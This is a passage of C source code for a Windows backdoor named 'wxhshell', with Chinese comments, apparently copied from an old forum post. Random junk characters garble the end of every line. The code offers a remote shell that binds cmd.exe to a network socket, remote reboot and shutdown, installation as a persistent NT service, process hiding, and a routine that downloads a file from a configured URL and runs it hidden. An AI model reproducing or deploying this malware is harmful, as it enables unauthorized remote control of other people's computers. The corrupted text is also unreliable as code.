  else { 2gvS`+<TP  
8z&/{:Z@pH  
    switch(cmd[0]) { /3"S_KE1@+  
  Xn!=/<TIVz  
  // 帮助 &$qIJvMiK  
  case '?': { ]/R>nT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]YD qmIW  
    break; "tK3h3/Xv  
  } La^Zr,T!  
  // 安装 f|!@H><  
  case 'i': { &t@ $]m(  
    if(Install()) eEmLl(Lb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -42 U  
    else lvk*Db$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4uVyf^f\]f  
    break;  -x/g+T-  
    } ~F~hgVS5  
  // 卸载 ov>`MCS,v  
  case 'r': { zlh\P`  
    if(Uninstall()) a  ?wg~|g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9FT==>  
    else 3fop.%(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b` 9Zin  
    break; Ki)hr%UFw  
    } \\"CgH-  
  // 显示 wxhshell 所在路径 D{t0OvQag  
  case 'p': { fG7-0 7  
    char svExeFile[MAX_PATH]; PO2]x:  
    strcpy(svExeFile,"\n\r"); r7)iNTQ1  
      strcat(svExeFile,ExeFile); ."q8 YaW  
        send(wsh,svExeFile,strlen(svExeFile),0); 1@<>GDB9  
    break; ?H!X p  
    } okW'}@jD  
  // 重启 4T<dI6I0  
  case 'b': { 5bWy=Xk B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0`WZ  
    if(Boot(REBOOT)) ~-(X\:z}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  & *&  
    else { A<g5:\3  
    closesocket(wsh); eR8>5:V_  
    ExitThread(0); 9l7 youZ]  
    } ewinG-hX_  
    break; ui^v.YCMI  
    } *\wf(o>Q  
  // 关机 K;f=l5  
  case 'd': { A`b )7+mB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }% ?WS  
    if(Boot(SHUTDOWN)) 9**u\H)P6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_cd l^  
    else { R2[ }  
    closesocket(wsh); CwfGp[|}e  
    ExitThread(0); jM(!!A jpC  
    } h1?.x  
    break; x\(yjNZH  
    } TGPHjSZ1  
  // 获取shell 7o M]qLF  
  case 's': { EY!P"u;  
    CmdShell(wsh); $%J $  
    closesocket(wsh); Vg"Ze[dA  
    ExitThread(0); V P4ToYc  
    break; i>rsq[l  
  } ; >>/}Jw\  
  // 退出 P,Rqv)}X  
  case 'x': { :20k6)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rxIYgh  
    CloseIt(wsh); AqP\g k  
    break; OBp/:]  
    } ]G2%VKkr  
  // 离开 C}mWX7<Z.  
  case 'q': { e%DF9}M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~;Xkt G:  
    closesocket(wsh); \U'TL_Ql  
    WSACleanup(); 5'O.l$)y  
    exit(1); 7llEB*dSA  
    break; }\\6"90g*  
        } T]J#>LBd  
  } zzBqb\Ky  
  } JYWc3o6  
qS+Ilg  
  // 提示信息 zn{[]J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tn3f5ka'  
} d "vd_}P~  
  } ('px X+  
pDx}~IB  
  return; z'}?mE3i  
} p}swJ;S  
NBZ>xp[U  
// shell模块句柄 j k}m  
int CmdShell(SOCKET sock) #8jH_bi  
{ \OXKK<^$uK  
STARTUPINFO si; }GTy{Y*&  
ZeroMemory(&si,sizeof(si)); 3/hAxd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /2!"_?<L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :WnXoL  
PROCESS_INFORMATION ProcessInfo; y7s.6i}7  
char cmdline[]="cmd"; %4E7 Tu,1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x5Ee'G(  
  return 0; dQL! >6a  
} &gR)bNIC_=  
4==Lt Ep  
// 自身启动模式 Uyyw'Ni  
int StartFromService(void) CSooJ1Ep~'  
{ )p;gm`42oY  
typedef struct p{Gg,.f!HM  
{ &_E*]Sj\  
  DWORD ExitStatus; 7u^6`P  
  DWORD PebBaseAddress; $T0|zPK5  
  DWORD AffinityMask; X_eV<]zA+  
  DWORD BasePriority; ^i^S1h"  
  ULONG UniqueProcessId; {#y HL  
  ULONG InheritedFromUniqueProcessId; ;nJCd1H  
}   PROCESS_BASIC_INFORMATION; 8)k.lPoo.  
*H RxC  
PROCNTQSIP NtQueryInformationProcess;  93(  
O_PC/=m1@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $mOK|=tI_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g%<7Px[W  
{:enoV"  
  HANDLE             hProcess; 6A/|XwfE/v  
  PROCESS_BASIC_INFORMATION pbi; K~WwV8c9;  
QrPWS-3~!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hK$-R1O  
  if(NULL == hInst ) return 0; y6?Q5x9M  
|T"{q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ca4X{x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E%-&!%_>D@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yazpfw 7'd  
;@ d<*  
  if (!NtQueryInformationProcess) return 0; W:>RstbnMG  
%]Nz54!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rd 1&?X  
  if(!hProcess) return 0; ( |5g`JDG  
q#Qr@Jf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GW{Nc !)  
TniZ!ud  
  CloseHandle(hProcess); Rb~Kyy$  
I|O~F e.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N]yk<55  
if(hProcess==NULL) return 0; _L!"3  
D\V}Eo';6  
HMODULE hMod; Krq^|DY  
char procName[255]; .+B)@?  
unsigned long cbNeeded; g%=\Wiit]  
 D#m+w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  (lPNMS|V  
s_Dl8O4u  
  CloseHandle(hProcess); uR)@v^$FE  
$C)@GGY  
if(strstr(procName,"services")) return 1; // 以服务启动 +ic~Sar  
t8)Fkx#8}  
  return 0; // 注册表启动 l2`8]Qr   
} !Xj m h$F  
"iZ-AG!C  
// 主模块 cW GU?cv}  
int StartWxhshell(LPSTR lpCmdLine) KuI>:i;  
{ oG*lU h}  
  SOCKET wsl; (x$k\H  
BOOL val=TRUE; (I~,&aBr  
  int port=0; :6M0`V;L  
  struct sockaddr_in door; [7s5Vt|  
!J6s^um  
  if(wscfg.ws_autoins) Install(); y?unI~4tC  
(wY% $kW4  
port=atoi(lpCmdLine); gCm?nb)  
}> 1h+O  
if(port<=0) port=wscfg.ws_port; ~IWi @m{  
1[Mr2@  
  WSADATA data; m9B3]H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2\5@_U^)h  
mmKrmM*1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I] "$h]T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RY~)MS _C  
  door.sin_family = AF_INET; B6pz1P?e}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sl_zO?/PF  
  door.sin_port = htons(port); B]qh22Yib  
^LcI6 h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YI|G pq  
closesocket(wsl); h?1pGz)[C  
return 1; lb6s3b  
} oF6MV&q/  
q,(&2./  
  if(listen(wsl,2) == INVALID_SOCKET) { EqmJXDm  
closesocket(wsl); BxT~1SBFq  
return 1; N7jRdT2k%  
} CM#EA"9  
  Wxhshell(wsl); 0$_imjZ  
  WSACleanup(); `i:0dVs  
7lj-Z~1  
return 0; 7S7!  
aKUr":z  
} |zT0g]WH  
i-=ff  
// 以NT服务方式启动 D8#q.OR]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Egn`QU  
{ %7@H7^s}9  
DWORD   status = 0; m{5$4v,[  
  DWORD   specificError = 0xfffffff; \9?<E[  
A_fU7'B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QO>*3,(H,q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1c4%g-]7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &B85;  
  serviceStatus.dwWin32ExitCode     = 0; *Fc&DQT(  
  serviceStatus.dwServiceSpecificExitCode = 0; ;' W5|.ZN  
  serviceStatus.dwCheckPoint       = 0; '_<`dzz  
  serviceStatus.dwWaitHint       = 0; 3"hR:'ts  
.#eXNyCe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hpyre B  
  if (hServiceStatusHandle==0) return; S p )}  
"$'~=' [  
status = GetLastError(); 6K y;1$  
  if (status!=NO_ERROR) BT1'@qF  
{ ? 7EVmF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iL gt_@g  
    serviceStatus.dwCheckPoint       = 0; {.OoOqq9  
    serviceStatus.dwWaitHint       = 0; (R}X( u  
    serviceStatus.dwWin32ExitCode     = status; yfW^wyDd2o  
    serviceStatus.dwServiceSpecificExitCode = specificError; IjRmpVcwN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M^f1D&A  
    return; S3w?Zk3hO  
  } C4uR5U  
U:|v(U$"?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zLqp@\sT  
  serviceStatus.dwCheckPoint       = 0; bLzuaNa'  
  serviceStatus.dwWaitHint       = 0; |K-lg rA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {4 d$]o0V  
} 7jbm w<d)9  
M!l5,ycF  
// 处理NT服务事件,比如:启动、停止 D` X6'PP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8} k,!R[J  
{ Kzu9Qm-+z^  
switch(fdwControl) pi}H.iF  
{ 5mNXWg7#]  
case SERVICE_CONTROL_STOP: sZB6zTX J  
  serviceStatus.dwWin32ExitCode = 0; "6.p=te  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zs:7!  
  serviceStatus.dwCheckPoint   = 0; j1C.#-P[  
  serviceStatus.dwWaitHint     = 0; wg.fo:Q  
  { {wXN kq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $:N "*  
  } |P7f^0idk  
  return; o)=VPUe  
case SERVICE_CONTROL_PAUSE: EI.Pk>ZIm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =*}Mymhk(  
  break; yj R O9  
case SERVICE_CONTROL_CONTINUE: 0Ida]H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d@4!^vD;  
  break; #jx?uS  
case SERVICE_CONTROL_INTERROGATE: * _l o;  
  break; * SMPHWH[c  
}; F\rSYjMyk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7YjucPH#  
} vaOL6=[#:g  
d)ZSzq  
// 标准应用程序主函数 5(7MQuRR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BQ:Kx_   
{ r(T/^<  
7NC8<o;  
// 获取操作系统版本 da'E"HN@G~  
OsIsNt=GetOsVer(); X/Rx]}[   
GetModuleFileName(NULL,ExeFile,MAX_PATH); KAcri<^G  
2rtP.*dd  
  // 从命令行安装 PjW+V`  
  if(strpbrk(lpCmdLine,"iI")) Install(); c\{}FGC  
C'2 =0oou  
  // 下载执行文件 Pq>[q?>?  
if(wscfg.ws_downexe) { <^_Vl8%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o'C.,ic?C  
  WinExec(wscfg.ws_filenam,SW_HIDE); U hhmG+  
} XWQ0V  
>#U <#  
if(!OsIsNt) { z\8yB`8b^  
// 如果时win9x,隐藏进程并且设置为注册表启动 MH;%Y"EI  
HideProc(); dG?a"/MA  
StartWxhshell(lpCmdLine); ;6txTcn`=  
} H8]^f=  
else PZ(<eJ>  
  if(StartFromService()) {ah~q}(P  
  // 以服务方式启动 ]</4#?_  
  StartServiceCtrlDispatcher(DispatchTable); +()t8,S,  
else @H%=%ZwpO  
  // 普通方式启动 WTYFtZD[yH  
  StartWxhshell(lpCmdLine); |kNGpwpI  
ls7A5 <  
return 0; kz;_f  
}
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只看该作者 1 发表于: 2006-10-10
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